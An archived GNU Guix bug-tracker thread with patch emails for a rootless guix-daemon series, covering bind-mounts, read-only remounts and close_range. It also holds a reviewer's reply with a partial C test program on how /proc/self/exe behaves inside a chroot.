+	    if (mount(chrootTmpDir.c_str(), chrootTmpDir.c_str(), 0, MS_BIND, 0) == -1)
+                throw SysError(format("read-write mount of temporary directory '%1%' failed") % chrootTmpDir);
+
             /* Bind-mount all the directories from the "host"
                filesystem that we want in the chroot
                environment. */
@@ -2164,6 +2176,10 @@ void DerivationGoal::runChild()
 
             if (rmdir("real-root") == -1)
                 throw SysError("cannot remove real-root directory");
+
+	    /* Remount root as read-only.  */
+            if (mount("/", "/", 0, MS_BIND | MS_REMOUNT | MS_RDONLY, 0) == -1)
+                throw SysError(format("read-only remount of build root '%1%' failed") % chrootRootDir);
         }
 #endif
 
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 20 Mar 2025 20:56:42 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Mar 20 16:56:41 2025
Received: from localhost ([127.0.0.1]:59176 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tvMwO-0006Ue-Ue
	for submit <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:41 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:41192)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tvMw5-0006Qx-RY
 for 75810 <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:19 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tvMvt-0001F0-QO; Thu, 20 Mar 2025 16:56:05 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:Subject:To:From:in-reply-to:
 references; bh=UhcTHomJLMz+Z22SzzpugSALo+1Q3w2wJJxYBdsyIsc=; b=C65VQVLDqDZt3I
 5RM3nPTA39Ico3LbrrW5MYZf9GMEodFTN/Uj9fN4k4TG0Ts8O6AsBMOThcZIADOqmOQduuTwwH/k/
 rS238C7X7WbFuIzkpi5EpPPR+buL6TjAb75EXUjpH24ETHuOYF5jF1pmc/9s3wbSfjq/XasRUSqaZ
 1O/dd+L+9hEwNGa3odN8CuDFaJUplESyZ2F1ZvhNgyWfgxwsbIFnl8JPgHfNl8D+/Ff4kSVZ0r/9D
 113+7Civmab/kOWaAhh82dzE2+kMnp42CMJNJcrqSAAZtaplGP8HZeR6Qc3KAVk+qlwCkHhKSIKD2
 hogX3HNQHrrapG4O9rTA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v7 00/16] Rootless guix-daemon
Date: Thu, 20 Mar 2025 21:54:33 +0100
Message-ID: <cover.1742503590.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.0 (-)

Hello,

Changes compared to v6 (all suggested by Reepca):

  • Canonicalize the builder’s file name before ‘execve’
    and add the “builder is outside the store” test in
    ‘tests/derivations.scm’ (though the test would already
    succeed before due to the ELF interpreter being unavailable
    in the chroot).

  • Explicitly close both ends of the ‘readiness’ pipe.

  • Use ‘mkdir -p’ to create /var/log/guix in ‘guix-install.sh’.

Thoughts?

Ludo’.

Ludovic Courtès (16):
  daemon: Use ‘close_range’ where available.
  daemon: Close the read end of the logging pipe.
  daemon: Bind-mount /etc/nsswitch.conf & co. only if it exists.
  daemon: Bind-mount all the inputs, not just directories.
  daemon: Remount inputs as read-only.
  daemon: Remount root directory as read-only.
  daemon: Allow running as non-root with unprivileged user namespaces.
  daemon: Create /var/guix/profiles/per-user unconditionally.
  daemon: Drop Linux ambient capabilities before executing builder.
  daemon: Move comments where they belong.
  linux-container: ‘unprivileged-user-namespace-supported?’ returns #f
    on non-Linux.
  tests: Add missing derivation inputs.
  tests: Run in a chroot and unprivileged user namespaces.
  etc: systemd services: Run ‘guix-daemon’ as an unprivileged user.
  guix-install.sh: Support the unprivileged daemon where possible.
  DRAFT gnu: guix: Update to f447941.

 build-aux/test-env.in               |  18 +-
 config-daemon.ac                    |   5 +-
 doc/guix.texi                       | 102 ++++++++---
 etc/gnu-store.mount.in              |   3 +-
 etc/guix-daemon.service.in          |  22 ++-
 etc/guix-install.sh                 | 124 ++++++++++---
 gnu/build/linux-container.scm       |   4 +-
 gnu/packages/package-management.scm |   6 +-
 guix/substitutes.scm                |   2 +-
 nix/libstore/build.cc               | 271 ++++++++++++++++++++++------
 nix/libstore/local-store.cc         |  26 ++-
 nix/libutil/util.cc                 |  26 ++-
 tests/derivations.scm               |  34 +++-
 tests/packages.scm                  |  13 +-
 tests/processes.scm                 |   9 +-
 tests/store.scm                     | 247 +++++++++++++++++++++----
 16 files changed, 726 insertions(+), 186 deletions(-)


base-commit: cbd2db98954739db1cdda208e1667c5d50976bf1
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 20 Mar 2025 20:56:37 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Mar 20 16:56:36 2025
Received: from localhost ([127.0.0.1]:59174 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tvMwO-0006UY-B1
	for submit <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:36 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:50862)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tvMw1-0006Qe-J7
 for 75810 <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:18 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tvMvv-0001FR-IA; Thu, 20 Mar 2025 16:56:07 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=gj2HkSqKqMC6OnWJO11zAMx01vOVuopEBzKWBjgHWEs=; b=AJ6hBdsHuxeZ9FdMi1YS
 qnH1XarggqYw/zbOMP896o92PbkKafqB/+syv3cPWJcOgny4emAuYuWKebwYhDZs/IbzjbiXZps2M
 ppJri1jymguwmQDxc6v1kpFg9Ru15V/Qpnt38dmdAp8wgl6KC5iSdZq4L7b9f7uUHBjfvZmUttXtv
 m9gKrSrLnU6m9j6/J+NogaNG2/s/G3itEkbPnHsphCY4HWXUSTkrgkALm5xmUeNbrKyZ9sgKwZMPb
 NEBPbiUTAaW1OS/asMDPcO22G19SPqw2Xf7L37IjrxwfSok5GunrWVXCTtBEBhcob9pdCtcfgnbAy
 jJfmeHZcKxsckQ==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v7 01/16] =?UTF-8?q?daemon:=20Use=20=E2=80=98close=5Frange?=
 =?UTF-8?q?=E2=80=99=20where=20available.?=
Date: Thu, 20 Mar 2025 21:54:34 +0100
Message-ID: <5edb7d923d441d4be77fe8d699199678c4acb390.1742503591.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742503590.git.ludo@HIDDEN>
References: <cover.1742503590.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libutil/util.cc (closeMostFDs) [HAVE_CLOSE_RANGE]: Use
‘close_range’ when ‘exceptions’ is empty.
* config-daemon.ac: Check for <linux/close_range.h> and the
‘close_range’ symbol.

Change-Id: I12fa3bde58b003fcce5ea5a1fee1dcf9a92c0359
---
 config-daemon.ac    |  5 +++--
 nix/libutil/util.cc | 23 +++++++++++++++++------
 2 files changed, 20 insertions(+), 8 deletions(-)

diff --git a/config-daemon.ac b/config-daemon.ac
index 6731c68bc3..4e949bc88a 100644
--- a/config-daemon.ac
+++ b/config-daemon.ac
@@ -78,7 +78,8 @@ if test "x$guix_build_daemon" = "xyes"; then
 
   dnl Chroot support.
   AC_CHECK_FUNCS([chroot unshare])
-  AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h])
+  AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h \
+    linux/close_range.h])
 
   if test "x$ac_cv_func_chroot" != "xyes"; then
     AC_MSG_ERROR(['chroot' function missing, bailing out])
@@ -95,7 +96,7 @@ if test "x$guix_build_daemon" = "xyes"; then
   dnl strsignal: for error reporting.
   dnl statx: fine-grain 'stat' call, new in glibc 2.28.
   AC_CHECK_FUNCS([lutimes lchown posix_fallocate sched_setaffinity \
-     statvfs nanosleep strsignal statx])
+     statvfs nanosleep strsignal statx close_range])
 
   dnl Check for <locale>.
   AC_LANG_PUSH(C++)
diff --git a/nix/libutil/util.cc b/nix/libutil/util.cc
index 3206dea11b..eb2d16e1cc 100644
--- a/nix/libutil/util.cc
+++ b/nix/libutil/util.cc
@@ -23,6 +23,10 @@
 #include <sys/prctl.h>
 #endif
 
+#ifdef HAVE_LINUX_CLOSE_RANGE_H
+# include <linux/close_range.h>
+#endif
+
 
 extern char * * environ;
 
@@ -1087,12 +1091,19 @@ string runProgram(Path program, bool searchPath, const Strings & args)
 
 void closeMostFDs(const set<int> & exceptions)
 {
-    int maxFD = 0;
-    maxFD = sysconf(_SC_OPEN_MAX);
-    for (int fd = 0; fd < maxFD; ++fd)
-        if (fd != STDIN_FILENO && fd != STDOUT_FILENO && fd != STDERR_FILENO
-            && exceptions.find(fd) == exceptions.end())
-            close(fd); /* ignore result */
+#ifdef HAVE_CLOSE_RANGE
+    if (exceptions.empty())
+	 close_range(3, ~0U, 0);
+    else
+#endif
+    {
+	 int maxFD = 0;
+	 maxFD = sysconf(_SC_OPEN_MAX);
+	 for (int fd = 0; fd < maxFD; ++fd)
+	      if (fd != STDIN_FILENO && fd != STDOUT_FILENO && fd != STDERR_FILENO
+		  && exceptions.find(fd) == exceptions.end())
+		   close(fd); /* ignore result */
+    }
 }
 
 
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 20 Mar 2025 20:56:20 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Mar 20 16:56:20 2025
Received: from localhost ([127.0.0.1]:59144 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tvMw6-0006RW-Lc
	for submit <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:20 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:41184)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tvMw3-0006Qh-9N
 for 75810 <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:16 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tvMvy-0001Fq-04; Thu, 20 Mar 2025 16:56:10 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=5fbggu8STjwEXFRRV3Gq/UXyTgxUmf6fh1UKO8gjNXs=; b=jiMcrU0OgmsffH/MwQz+
 fke3F+QHzmR3bL+Q6kbCjg9zTsaMnWJFaHR+4U0lUwU6oO5LggHptPRYWWVFTJ+Qh7LwElkWtwlUd
 VQuD0lRPeIe32y5B3R1gdea7cfe1eNPfMqkFzQULWApXwityjOYIaUMcSVXteL4inBCSdHaRRXAv4
 nSOTv3H0Fe9++jcnNVwN2xqYfg1vIZEg9q+AmpWkHk5qQfxKFDs8axVA8xZcwhQYSMse7bh2ePhYu
 uY56LNkNlehh5cFM8XYeels1R0xTasBrB/mmP7rdvqMfVo5QeymZ0U7jT+7FUDja3gdeUAGW58lf6
 fLsqPImAXtZ9uw==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v7 03/16] daemon: Bind-mount /etc/nsswitch.conf & co. only if
 it exists.
Date: Thu, 20 Mar 2025 21:54:36 +0100
Message-ID: <685be9a097b408871ef5313205552c9fbce748a6.1742503591.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742503590.git.ludo@HIDDEN>
References: <cover.1742503590.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Those files may be missing in some contexts, for instance within the
build environment.

* nix/libstore/build.cc (DerivationGoal::runChild): Add /etc/resolv.conf
and related files to ‘ss’ only if they exist.

Change-Id: Ie19664a86c8101a1dc82cf39ad4b7abb10f8250a
---
 nix/libstore/build.cc | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index edd01bab34..8ca5e5b732 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2093,10 +2093,11 @@ void DerivationGoal::runChild()
                network, so give them access to /etc/resolv.conf and so
                on. */
             if (fixedOutput) {
-                ss.push_back("/etc/resolv.conf");
-                ss.push_back("/etc/nsswitch.conf");
-                ss.push_back("/etc/services");
-                ss.push_back("/etc/hosts");
+		auto files = { "/etc/resolv.conf", "/etc/nsswitch.conf",
+			       "/etc/services", "/etc/hosts" };
+		for (auto & file: files) {
+		    if (pathExists(file)) ss.push_back(file);
+		}
             }
 
             for (auto & i : ss) dirsInChroot[i] = i;
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 18 Mar 2025 23:20:09 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Tue Mar 18 19:20:08 2025
Received: from localhost ([127.0.0.1]:43797 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tugE5-00065w-5U
	for submit <at> debbugs.gnu.org; Tue, 18 Mar 2025 19:20:07 -0400
Received: from mailout.russelstein.xyz ([2605:6400:20:11e::1]:44014)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <reepca@HIDDEN>)
 id 1tugE1-00065U-4R
 for 75810 <at> debbugs.gnu.org; Tue, 18 Mar 2025 19:20:00 -0400
DKIM-Signature: v=1; a=ed25519-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=ed25519; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=xC5j2+GyW8bJxXUP0MHSlCH2C5mIoHUfrpLHSky3Rz8=; b=LCzI9S2Z0eneQfOT9RfNXHEQZo
 ecxLU0nVdOhVtW9uXbLpV0DBIywu0hENX0TGHGc3LMluL/R9PM+xQR2jwpAg==;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=rsa; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=xC5j2+GyW8bJxXUP0MHSlCH2C5mIoHUfrpLHSky3Rz8=; b=yWVZvPO9eurNPOfySCBFIRq0U8
 aG9mSDv7MVnW+hwR9Pl3+Wu0qA1oNGrcTOWAtivgoIn1hu0c7CyvypE+U2qXum98p1cyflBzyUKdT
 oZe42Cot7kf9fRUo9ufBbeBAXYrxq/Untg+wlqCNKtkALhxM/4PyRCaYb3MXIpSlmIaU5tugfReGf
 f6hhjwCpNHJr7wux2E6zxvnOzGjlpGhsMnA/wecOXla+YICT4RVigr+tIxDB1nSPLyoyqc0vfnUQO
 ccnvbkT62Avx/8T5Dd2a9qeBNYPKQ/GD3cvRDlrqZC3MwU+gPSElZYvbB6+kG7tSwKV6AwCYipZBu
 peZG+sxMGeMhH41EZUJq1If8oQ5qijfRng8CfEAjZ26Q0kMDQ6Mk/LIPh/pImhzbWLbN9dI8yJesi
 ZG3SgDLX5cTNmWH4Wsbt/cUVF+kmGaQDqMvB60oaQCHBSAoeswozT9jUgtzHIbwQiy4IxCYpwYxJk
 azPmD6ddiBAHOJUTTueMPjxcwllaDtpEP8Oa7ag73JvE/QwBoaDExSM0ECxYlSqFsQ8emNmtDDC/a
 khCKcBUqX69d/YDKaGlpFFOFknEc9De6A7+WFnAY2LsiHube3mea8MIIQtvRMD9dt5ennEHH3mrqy
 V7AfIbeK2r/zqTRMMRNJCLMOJG3+H9VRqhkzs1GQ4=;
Received: by russelstein.xyz with esmtpsa
 (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256)
 (Exim 4.98) (envelope-from <reepca@HIDDEN>)
 id 1tugDs-000000005NU-3y3y; Tue, 18 Mar 2025 18:19:54 -0500
From: Reepca Russelstein <reepca@HIDDEN>
To: Ludovic =?utf-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Subject: Re: [bug#75810] [PATCH v6 00/16] Rootless guix-daemon
In-Reply-To: <87v7s6h21b.fsf@HIDDEN> ("Ludovic =?utf-8?Q?Court=C3=A8s=22'?=
 =?utf-8?Q?s?= message of "Tue, 18 Mar 2025 15:00:16 +0100")
References: <cover.1742230219.git.ludo@HIDDEN>
 <875xk7594u.fsf@HIDDEN> <87v7s6h21b.fsf@HIDDEN>
Date: Tue, 18 Mar 2025 18:19:04 -0500
Message-ID: <871puu53mf.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="=-=-=";
 micalg=pgp-sha256; protocol="application/pgp-signature"
X-Spam-Score: 0.5
X-Spam-Bar: /
X-Spam-Score-Int: 5
X-Spam-Report: Spam detection software, running on the system "Sanctum",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: >> For my two cents,
    I do think that it's still a tradeoff - not just >> because of the reliance
    on different kernel mechanisms for security, but >> also because the rootless
    daemon currently causes v [...] 
 
 Content analysis details:   (0.5 points, 5.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 NO_RELAYS              Informational: message was not relayed via SMTP
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Spam-Score: 2.0 (++)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: >> For my two cents,
    I do think that it's still a tradeoff - not just >> because of the reliance
    on different kernel mechanisms for security, but >> also because the rootless
    daemon currently causes v [...] 
 
 Content analysis details:   (2.0 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_PASS               SPF: sender matches SPF record
  1.5 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 2.0 (++)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: >> For my two cents,
    I do think that it's still a tradeoff - not just >> because of the reliance
    on different kernel mechanisms for security, but >> also because the rootless
    daemon currently causes v [...] 
 
 Content analysis details:   (2.0 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_PASS               SPF: sender matches SPF record
  1.5 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
  1.0 BULK_RE_SUSP_NTLD      Precedence bulk and RE: from a suspicious TLD
 -1.0 MAILING_LIST_MULTI     Multiple indicators imply a widely-seen list
                             manager

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Ludovic Court=C3=A8s <ludo@HIDDEN> writes:

>> For my two cents, I do think that it's still a tradeoff - not just
>> because of the reliance on different kernel mechanisms for security, but
>> also because the rootless daemon currently causes visible changes to the
>> build environment (EROFS on /, and nothing owned by root, for example).
>> Which one should we consider the "canonical" build environment going
>> forward?
>
> The way I see it, we would gradually move to the non-root daemon:
>
>   =E2=80=A2 First step here is to enable it by default on systemd distros.
>
>   =E2=80=A2 Second step would be to allow Guix System users to migrate to
>     non-root daemon, keeping the default unchanged.
>
>   =E2=80=A2 Third step (a year later maybe?) would be to default to non-r=
oot
>     daemon on Guix System and on remaining distros (though for these it
>     might be trickier because we probably cannot rely on CAP_SYS_CHOWN,
>     not as easily as with systemd at least).
>
> The visible changes in the build environment are unfortunate; I=E2=80=99m=
 hoping
> they won=E2=80=99t have any practical impact, not any more than the other
> parameters that may change currently (build UID, binfmt_misc, file
> system, etc.)  We could test this hypothesis by rebuilding at least the
> entire set of packages up to =E2=80=98hello=E2=80=99.  (I tried doing it =
just now in a
> Debian VM but failed since the main partition cannot easily be extended;
> it=E2=80=99ll be easier to do with Guix System.)
>

For what it's worth, the visible changes could be avoided with
subordinate ids, as I wrote in
https://debbugs.gnu.org/cgi/bugreport.cgi?bug=3D75810#86.

We could try it as-is and see how it goes, and if there are problems
with reproducibility add on using subordinate ids.  I would expect it to
be a much smaller change than the root->rootless transition.

Hopefully it works well enough as-is that offload systems could be set
up without any special permissions.

> Then there are 3 possibilities:
>
>   1. If /proc/self/exe points to (say) /usr/bin/guix-daemon, outside the
>      store, execve fails with ENOENT because that file is not mounted in
>      the chroot.

No, like I wrote, /proc/self/exe, despite being reported as a symlink by
stat, does not follow the usual symlink semantics.  This is much like
how the files in /proc/self/fd work, e.g.:

scheme@(guile-user)> (open-file "/tmp/freshfile" "w+")
$1 =3D #<input-output: /tmp/freshfile 13>
scheme@(guile-user)> (delete-file "/tmp/freshfile")
scheme@(guile-user)> (stat:type (lstat "/proc/self/fd/13"))
$3 =3D symlink
scheme@(guile-user)> (readlink "/proc/self/fd/13")
$4 =3D "/tmp/freshfile (deleted)"
scheme@(guile-user)> (open-file "/proc/self/fd/13" "w+")
$5 =3D #<input-output: /proc/self/fd/13 14>

Here is a test program to demonstrate this (it's unfortunately rather
tricky to demonstrate using usual command line tools):

=2D-8<---------------cut here---------------start------------->8---
/* Test program to demonstrate that /proc/self/exe does not behave like a
   symlink, and a process can exec /proc/self/exe even if there is no other
   filename by which the currently-executing program can be reached.

   Compile with -static (may require a 'guix shell gcc-toolchain glibc:stat=
ic')
   and run. */


#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <errno.h>
#include <signal.h>

#define die(msg, status) \
  do \
    { \
      perror(msg); \
      exit(status); \
    } while(0); \
=20=20
#define pivot_root(new_root, put_old) (syscall(SYS_pivot_root, new_root,put=
_old))

int child_main(void * arg)
{
  int *pipefds =3D (int *) arg;
  char *argv[2] =3D {"???", NULL};
  int saved_errno;
  char c;
  if(close(pipefds[1]))
    die("Child closing write end of pipe", 20);

  if(read(pipefds[0], &c, 1 * sizeof(char)) < (1 * sizeof(char)))
